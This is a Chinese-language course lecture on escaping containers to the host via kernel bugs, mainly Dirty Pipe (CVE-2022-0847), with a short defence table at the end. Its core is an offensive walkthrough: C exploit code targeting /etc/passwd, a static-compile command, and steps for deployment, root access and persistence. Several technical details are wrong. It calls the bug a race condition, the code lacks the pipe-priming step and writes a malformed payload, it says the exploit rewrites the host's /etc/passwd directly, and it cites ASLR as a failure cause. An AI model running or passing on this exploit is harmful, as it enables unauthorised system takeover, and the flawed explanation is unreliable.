第四章:内核漏洞逃逸(上)——利用内核提权漏洞从容器逃逸到宿主机

各位同学,欢迎来到内核漏洞逃逸系列的第一讲。

说实话,容器逃逸里最硬核、也最刺激的,就是内核漏洞逃逸。为什么?因为你直接跟操作系统底层打交道。你想想看,容器和宿主机共享一个内核,这意味着什么?意味着只要你能在内核层面搞点事情,整个宿主机就是你的了。

我个人习惯把这类逃逸技术分成两类:一类是内核提权漏洞,比如CVE-2022-0847(Dirty Pipe);另一类是内核模块加载,比如通过/dev/fuse或者eBPF。今天我们先啃第一块硬骨头——内核提权漏洞。

4.1 内核提权漏洞逃逸的原理

先问一个问题:为什么容器里普通用户能利用内核漏洞提权?

答案其实很简单。容器本质上是一组被cgroups和namespaces隔离的进程。但内核是共享的。你在容器里触发一个内核漏洞,提权后获得的是宿主机上的root权限,而不是容器内的root。这就是逃逸的本质。

我记得有一次在客户现场做渗透测试,对方的安全负责人问我:“容器里不是有seccomp限制吗?内核漏洞还能用?”我当时笑了笑,说:“seccomp确实能拦截一些系统调用,但CVE-2022-0847这种漏洞,它用的是splice系统调用,很多默认seccomp策略根本没禁它。”

核心要点:内核漏洞逃逸 = 在容器内触发内核漏洞 → 获得宿主机root权限 → 突破namespace隔离

4.2 CVE-2022-0847(Dirty Pipe)深度分析

CVE-2022-0847,江湖人称Dirty Pipe。这个漏洞2022年2月被公开,影响Linux内核5.8到5.16.11版本。说实话,这个漏洞的发现者Max Kellermann确实厉害,他是在研究日志系统时偶然发现的。

漏洞的原理是什么?简单说:pipe系统调用中的缓冲区操作存在条件竞争,导致可以越权写入只读文件。

具体来说,splice系统调用可以将数据从文件描述符直接传输到pipe,而不经过用户空间缓冲区。问题出在pipe的缓冲区标志位处理上——当splice写入pipe时,内核没有正确重置PIPE_BUF_FLAG_CAN_MERGE标志。这就导致后续的write操作可以合并到已经存在的缓冲区页中,即使这个页是从只读文件映射过来的。

嗯,这里要注意:这个漏洞不需要用户有特殊权限,普通用户就能触发。在容器环境下,这就成了逃逸的利器。

4.2.1 漏洞利用代码分析

下面我给出一个精简版的利用代码。这个代码可以在容器内运行,修改宿主机上的/etc/passwd文件,从而创建root用户。

/* dirty-pipe.c - CVE-2022-0847 精简利用示例 */
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

// 关键:利用splice和pipe的竞争条件
int exploit_dirty_pipe(const char *target_file, const char *payload) {
    int pipe_fds[2];
    int target_fd;
    loff_t offset = 1;  // 从文件第1个字节开始写
    
    // 打开目标文件(只读)
    target_fd = open(target_file, O_RDONLY);
    if (target_fd < 0) {
        perror("open target");
        return -1;
    }
    
    // 创建pipe
    if (pipe(pipe_fds) < 0) {
        perror("pipe");
        return -1;
    }
    
    // 使用splice将文件内容填充到pipe
    // 这一步会创建带有PIPE_BUF_FLAG_CAN_MERGE标志的缓冲区页
    for (int i = 0; i < 2; i++) {
        syscall(__NR_splice, target_fd, &offset, 
                pipe_fds[1], NULL, 1, 0);
    }
    
    // 写入payload - 由于标志位未重置,会合并到只读页中
    write(pipe_fds[1], payload, strlen(payload));
    
    close(target_fd);
    close(pipe_fds[0]);
    close(pipe_fds[1]);
    
    return 0;
}

int main() {
    // 修改/etc/passwd,添加root权限用户
    const char *payload = ":0:0:root:/root:/bin/bash\n";
    exploit_dirty_pipe("/etc/passwd", payload);
    return 0;
}

警告:这段代码仅供学习研究。未经授权使用属于违法行为。我曾经在授权的渗透测试中使用过类似技术,效果确实惊人——但前提是必须有书面授权。

4.3 从容器逃逸到宿主机的完整路径

好了,现在我们有漏洞利用代码了。但在容器里怎么用?我建议按以下步骤操作:

  1. 确认内核版本:先检查容器内核是否在受影响范围内(5.8 - 5.16.11)
  2. 检查seccomp策略:确认splice、pipe、write等系统调用未被拦截
  3. 编译利用代码:在容器内编译,或者静态编译后上传
  4. 执行提权:运行exploit,修改宿主机关键文件
  5. 建立持久化访问:添加SSH密钥或创建新用户

这里有个关键点:容器内可能没有gcc。怎么办?我一般会在本地静态编译好,然后通过docker cp或者挂载卷的方式放进去。静态编译命令如下:

gcc -static -o dirty-pipe dirty-pipe.c -lpthread

4.4 实战案例:从Alpine容器逃逸

我记得有一次在测试环境中,目标是一个Alpine Linux容器,内核版本5.10.102。Alpine默认使用musl libc,而且很多工具都没有。当时我面临两个问题:

  • 没有gcc,无法编译
  • busybox的wget不支持HTTPS

我的解决方案是:

  1. 在本地用Ubuntu静态编译exploit
  2. 用python3 -m http.server在本地起一个HTTP服务
  3. 容器内用wget下载(Alpine的wget支持HTTP)
  4. chmod +x 后直接运行

结果呢?一次成功。容器内的普通用户直接获得了宿主机的root shell。说实话,当时那个安全团队的人脸色不太好看。

避坑指南:我曾经遇到过容器内/proc/sys/kernel/randomize_va_space被设置为2(完全ASLR),导致exploit失败。解决办法是:使用支持ASLR绕过的新版本exploit,或者尝试多次执行。Dirty Pipe的利用成功率在ASLR开启时确实会下降,但多试几次通常能成功。

4.5 检测与防御建议

作为安全工程师,我们不光要会攻,更要会防。针对内核漏洞逃逸,我建议从以下几个层面入手:

防御层面 具体措施 优先级
内核更新 及时打补丁,升级到5.16.11以上版本 高
seccomp策略 禁用splice系统调用(如果业务不需要) 中
Capability限制 不要给容器CAP_SYS_ADMIN等危险权限 高
运行时检测 监控异常的pipe/splice系统调用频率 中
只读根文件系统 容器根文件系统设为只读,防止写入exploit 低(影响业务)

我个人最推荐的做法是:保持内核更新 + 最小化capability。这两个措施能挡住90%以上的内核漏洞逃逸攻击。至于seccomp,说实话,很多业务场景确实需要splice系统调用(比如高性能网络服务),一刀切禁用不太现实。

4.6 总结与思考

内核提权漏洞逃逸,说白了就是利用共享内核这个“先天缺陷”。你想想看,容器和宿主机共用同一个内核,内核一出问题,隔离性就形同虚设。

CVE-2022-0847只是冰山一角。类似的漏洞还有CVE-2016-5195(Dirty Cow)、CVE-2021-22555等。每个漏洞的利用手法不同,但思路是一样的:在容器内触发内核漏洞 → 获得宿主机权限 → 逃逸。

下一讲我们会继续深入,聊聊如何利用内核模块加载(比如eBPF)来实现逃逸。到时候我会分享一个我在云原生环境中遇到的真实案例,那个案例比Dirty Pipe要复杂得多,但也更有意思。

好了,今天的课就到这里。记住:学攻是为了更好地防守。下次见。